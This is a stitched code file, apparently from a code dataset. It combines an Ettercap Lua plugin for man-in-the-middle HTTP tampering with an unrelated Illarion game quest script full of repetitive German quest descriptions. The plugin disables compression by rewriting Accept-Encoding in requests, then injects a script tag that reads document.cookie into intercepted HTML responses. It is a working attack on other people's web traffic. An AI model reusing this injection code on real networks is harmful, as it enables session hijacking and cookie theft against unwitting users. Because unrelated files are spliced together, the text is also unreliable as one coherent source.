--- -- Copyright (C) Ryan Linn and Mike Ryan -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program; if not, write to the Free Software -- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. description = "This demonstrates TCP session tracking."; local ffi = require('ettercap_ffi') local eclib = require('eclib') local hook_points = require("hook_points") local shortsession = require("shortsession") local packet = require("packet") -- We have to hook at the filtering point so that we are certain that all the -- dissectors hae run. hook_point = hook_points.filter function split_http(str) local break_start, header_end= string.find(str, '\r?\n\r?\n') if header_end == nil then -- We only see the headers. So, that's all we got. header_end = string.len(str) end local header = string.sub(str, 0, header_end) local body = string.sub(str,header_end+1) return header, body end function shrink_http_body(body) local modified_body = string.gsub(body, '>%s*<','><') return modified_body end function pad_http_body(body, len) if len <= 0 then return body end local padded_sep = ">" .. string.rep(" ", len) .. "<" local modified_body = string.gsub(body, '><',padded_sep, 1) return modified_body end -- We only want to mess around with TCP streams that have data. packetrule = function(packet_object) if packet.is_tcp(packet_object) == false then return false end if packet_object.DATA.len == 0 then return false end return true end local session_key_func = shortsession.tcp_session("tcp_session_demo") local create_namespace = ettercap.reg.create_namespace local http_states = {} http_states.request_seen = 1 http_states.response_seen = 2 http_states.body_seen = 3 http_states.injected = 4 function handle_request(session_data, packet_object) local buf = packet.read_data(packet_object, 4) if buf == "GET " then session_data.http_state = http_states.request_seen end if session_data.http_state == http_states.request_seen then local request = packet.read_data(packet_object) local mod_request = string.gsub(request, '[Aa]ccept-[Ee]ncoding', "Xccept-Xncoding", 1) if not request == mod_request then packet.set_data(packet_object, mod_request) end end end function nocase (s) s = string.gsub(s, "%a", function (c) return string.format("[%s%s]", string.lower(c), string.upper(c)) end) return s end local inject_patterns = { nocase("(<body[> ])"), nocase("(<head[> ])"), nocase("(<meta[> ])"), nocase("(<title[> ])"), nocase("(><a[> ])") } local inject_string = '<script>alert(document.cookie)</script>%1' local inject_str_len = string.len(inject_string) - 2 function inject_body(orig_body) if orig_body == nil then return nil end local orig_body_len = string.len(orig_body) -- Try to shrink the body down. local shrunk_body = shrink_http_body(orig_body) local shrunk_body_len = string.len(shrunk_body) local delta = orig_body_len - shrunk_body_len - inject_str_len if delta < 0 then -- no room to inject our stuff! return. return nil end for i,pattern in pairs(inject_patterns) do local offset = string.find(shrunk_body, pattern) local modified_body = string.gsub(shrunk_body, pattern, inject_string, 1) local modified_body_len = string.len(modified_body) if not (modified_body_len == shrunk_body_len) then -- Alright, let's pad things a little bit. local padded_body = pad_http_body(modified_body, delta) return padded_body end end return nil end function handle_response(session_data, packet_object) -- If we do'nt have a state, then we shouldn't be doing anything! if session_data.http_state == nil then return nil end -- If we have already injected, then don't do anything. if session_data.http_state == http_states.injected then return nil end if session_data.http_state == http_states.request_seen then local buf = packet.read_data(packet_object, 8) if not buf == "HTTP/1." then return nil end session_data.http_state = http_states.response_seen -- Since we're in the header, let's see if we can find the body. end local buf = packet.read_data(packet_object) local header = nil local body = nil if session_data.http_state == http_states.response_seen then -- Let's try to find the body. local split_header, split_body = split_http(buf) if not split_body then -- No dice, didn't find the body. return nil end -- Keep track of our header. if split_header then header = split_header end -- Stash our body. body = split_body session_data.http_state = http_states.body_seen end if session_data.http_state == http_states.body_seen then -- If we didn't already grab the body, then we aren't in the first packet -- for the response. That means that -- if not body then body = buf end local new_body = inject_body(body) if new_body == nil then return nil end session_data.http_state = http_states.injected if header == nil then header = "" end local new_data = header .. new_body -- Set the modified data packet.set_data(packet_object, new_data) end end -- Here's your action. action = function(packet_object) local session_id = session_key_func(packet_object) if not session_id then -- If we don't have session_id, then bail. return nil end local ident_ptr = ffi.new("void *") local ident_ptr_ptr = ffi.new("void *[1]", ident_ptr) local ident_len = ffi.C.tcp_create_ident(ident_ptr_ptr, packet_object); local session_ptr = ffi.new("struct ec_session *") local session_ptr_ptr = ffi.new("struct ec_session *[1]", session_ptr) local ret = ffi.C.session_get(session_ptr_ptr, ident_ptr_ptr[0], ident_len) if ret == -ffi.C.E_NOTFOUND then return nil end -- Find the direction of our current TCP packet. -- 0 == client -> server -- 1 == server -> client local dir = ffi.C.tcp_find_direction(session_ptr_ptr[0].ident, ident_ptr_ptr[0]) -- Now we are going to try to figure out if which direction things are -- going in. -- Get our session data... local session_data = create_namespace(session_id) if dir == 0 then handle_request(session_data, packet_object) else handle_response(session_data, packet_object) end -- ettercap.log("tcp_session_demo: %d %s:%d -> %s:%d - state: %s\n", dir, src_ip, src_port, -- dst_ip, dst_port, tostring(session_data.http_state)) end
gpl-2.0
LaFamiglia/Illarion-Content
quest/bula_glasha_181_galmair.lua
1
88484
--[[ Illarion Server This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ]] -- INSERT INTO "quests" ("qst_id", "qst_script") VALUES (181, 'quest.bula_glasha_181_galmair'); local common = require("base.common") local monsterQuests = require("monster.base.quests") local M = {} local GERMAN = Player.german local ENGLISH = Player.english -- Insert the quest title here, in both languages local Title = {} Title[GERMAN] = "Spitzel Informant" Title[ENGLISH] = "Spy Informant" -- Insert an extensive description of each status here, in both languages -- Make sure that the player knows exactly where to go and what to do local Description = {} Description[GERMAN] = {} Description[ENGLISH] = {} Description[GERMAN][1] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Wespen. Die Belohnung ist eine Silbermünze." Description[GERMAN][2] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Wespen. Die Belohnung ist eine Silbermünze." Description[GERMAN][3] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Wespen. Die Belohnung ist eine Silbermünze." Description[GERMAN][4] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Wespen. Die Belohnung ist eine Silbermünze." Description[GERMAN][5] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][6] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Wespen. Die Belohnung ist zwei Silbermünzen." Description[GERMAN][7] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Wespen. Die Belohnung ist zwei Silbermünzen." Description[GERMAN][8] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Wespen. Die Belohnung ist zwei Silbermünzen." Description[GERMAN][9] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Wespen. Die Belohnung ist zwei Silbermünzen." Description[GERMAN][10] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Wespen. Die Belohnung ist zwei Silbermünzen." Description[GERMAN][11] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Wespen. Die Belohnung ist zwei Silbermünzen." Description[GERMAN][12] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Wespen. Die Belohnung ist zwei Silbermünzen." Description[GERMAN][13] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Wespen. Die Belohnung ist zwei Silbermünzen." Description[GERMAN][14] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][15] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Wespen. Die Belohnung ist drei Silbermünzen." Description[GERMAN][16] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Wespen. Die Belohnung ist drei Silbermünzen." Description[GERMAN][17] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Wespen. Die Belohnung ist drei Silbermünzen." Description[GERMAN][18] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Wespen. Die Belohnung ist drei Silbermünzen." Description[GERMAN][19] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Wespen. Die Belohnung ist drei Silbermünzen." Description[GERMAN][20] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Wespen. Die Belohnung ist drei Silbermünzen." Description[GERMAN][21] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Wespen. Die Belohnung ist drei Silbermünzen." Description[GERMAN][22] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Wespen. Die Belohnung ist drei Silbermünzen." Description[GERMAN][23] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Wespen. Die Belohnung ist drei Silbermünzen." Description[GERMAN][24] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Wespen. Die Belohnung ist drei Silbermünzen." Description[GERMAN][25] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Wespen. Die Belohnung ist drei Silbermünzen." Description[GERMAN][26] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Wespen. Die Belohnung ist drei Silbermünzen." Description[GERMAN][27] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][28] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Schleime. Die Belohnung ist zwei Silbermünzen." Description[GERMAN][29] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Schleime. Die Belohnung ist zwei Silbermünzen." Description[GERMAN][30] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Schleime. Die Belohnung ist zwei Silbermünzen." Description[GERMAN][31] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Schleime. Die Belohnung ist zwei Silbermünzen." Description[GERMAN][32] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][33] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Schleime. Die Belohnung ist vier Silbermünzen." Description[GERMAN][34] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Schleime. Die Belohnung ist vier Silbermünzen." Description[GERMAN][35] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Schleime. Die Belohnung ist vier Silbermünzen." Description[GERMAN][36] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Schleime. Die Belohnung ist vier Silbermünzen." Description[GERMAN][37] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Schleime. Die Belohnung ist vier Silbermünzen." Description[GERMAN][38] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Schleime. Die Belohnung ist vier Silbermünzen." Description[GERMAN][39] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Schleime. Die Belohnung ist vier Silbermünzen." Description[GERMAN][40] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Schleime. Die Belohnung ist vier Silbermünzen." Description[GERMAN][41] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][42] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Schleime. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][43] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Schleime. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][44] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Schleime. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][45] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Schleime. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][46] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Schleime. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][47] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Schleime. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][48] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Schleime. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][49] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Schleime. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][50] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Schleime. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][51] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Schleime. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][52] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Schleime. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][53] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Schleime. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][54] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][55] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Hunde. Die Belohnung ist drei Silbermünzen." Description[GERMAN][56] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Hunde. Die Belohnung ist drei Silbermünzen." Description[GERMAN][57] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Hunde. Die Belohnung ist drei Silbermünzen." Description[GERMAN][58] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Hunde. Die Belohnung ist drei Silbermünzen." Description[GERMAN][59] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][60] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Hunde. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][61] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Hunde. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][62] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Hunde. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][63] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Hunde. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][64] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Hunde. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][65] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Hunde. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][66] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Hunde. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][67] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Hunde. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][68] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][69] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Hunde. Die Belohnung ist neun Silbermünzen." Description[GERMAN][70] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Hunde. Die Belohnung ist neun Silbermünzen." Description[GERMAN][71] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Hunde. Die Belohnung ist neun Silbermünzen." Description[GERMAN][72] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Hunde. Die Belohnung ist neun Silbermünzen." Description[GERMAN][73] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Hunde. Die Belohnung ist neun Silbermünzen." Description[GERMAN][74] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Hunde. Die Belohnung ist neun Silbermünzen." Description[GERMAN][75] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Hunde. Die Belohnung ist neun Silbermünzen." Description[GERMAN][76] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Hunde. Die Belohnung ist neun Silbermünzen." Description[GERMAN][77] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Hunde. Die Belohnung ist neun Silbermünzen." Description[GERMAN][78] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Hunde. Die Belohnung ist neun Silbermünzen." Description[GERMAN][79] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Hunde. Die Belohnung ist neun Silbermünzen." Description[GERMAN][80] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Hunde. Die Belohnung ist neun Silbermünzen." Description[GERMAN][81] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][82] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Füchse. Die Belohnung ist vier Silbermünzen." Description[GERMAN][83] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Füchse. Die Belohnung ist vier Silbermünzen." Description[GERMAN][84] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Füchse. Die Belohnung ist vier Silbermünzen." Description[GERMAN][85] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Füchse. Die Belohnung ist vier Silbermünzen." Description[GERMAN][86] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][87] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Füchse. Die Belohnung ist acht Silbermünzen." Description[GERMAN][88] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Füchse. Die Belohnung ist acht Silbermünzen." Description[GERMAN][89] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Füchse. Die Belohnung ist acht Silbermünzen." Description[GERMAN][90] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Füchse. Die Belohnung ist acht Silbermünzen." Description[GERMAN][91] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Füchse. Die Belohnung ist acht Silbermünzen." Description[GERMAN][92] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Füchse. Die Belohnung ist acht Silbermünzen." Description[GERMAN][93] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Füchse. Die Belohnung ist acht Silbermünzen." Description[GERMAN][94] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Füchse. Die Belohnung ist acht Silbermünzen." Description[GERMAN][95] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][96] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Füchse. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][97] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Füchse. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][98] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Füchse. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][99] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Füchse. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][100] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Füchse. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][101] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Füchse. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][102] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Füchse. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][103] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Füchse. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][104] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Füchse. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][105] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Füchse. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][106] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Füchse. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][107] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Füchse. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][108] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][109] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Ratten. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][110] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Ratten. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][111] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Ratten. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][112] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Ratten. Die Belohnung ist sechs Silbermünzen." Description[GERMAN][113] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][114] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Ratten. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][115] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Ratten. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][116] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Ratten. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][117] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Ratten. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][118] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Ratten. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][119] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Ratten. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][120] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Ratten. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][121] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Ratten. Die Belohnung ist zwölf Silbermünzen." Description[GERMAN][122] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][123] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Ratten. Die Belohnung ist achtzehn Silbermünzen." Description[GERMAN][124] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Ratten. Die Belohnung ist achtzehn Silbermünzen." Description[GERMAN][125] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Ratten. Die Belohnung ist achtzehn Silbermünzen." Description[GERMAN][126] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Ratten. Die Belohnung ist achtzehn Silbermünzen." Description[GERMAN][127] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Ratten. Die Belohnung ist achtzehn Silbermünzen." Description[GERMAN][128] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Ratten. Die Belohnung ist achtzehn Silbermünzen." Description[GERMAN][129] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Ratten. Die Belohnung ist achtzehn Silbermünzen." Description[GERMAN][130] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Ratten. Die Belohnung ist achtzehn Silbermünzen." Description[GERMAN][131] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Ratten. Die Belohnung ist achtzehn Silbermünzen." Description[GERMAN][132] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Ratten. Die Belohnung ist achtzehn Silbermünzen." Description[GERMAN][133] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Ratten. Die Belohnung ist achtzehn Silbermünzen." Description[GERMAN][134] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Ratten. Die Belohnung ist achtzehn Silbermünzen." Description[GERMAN][135] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." 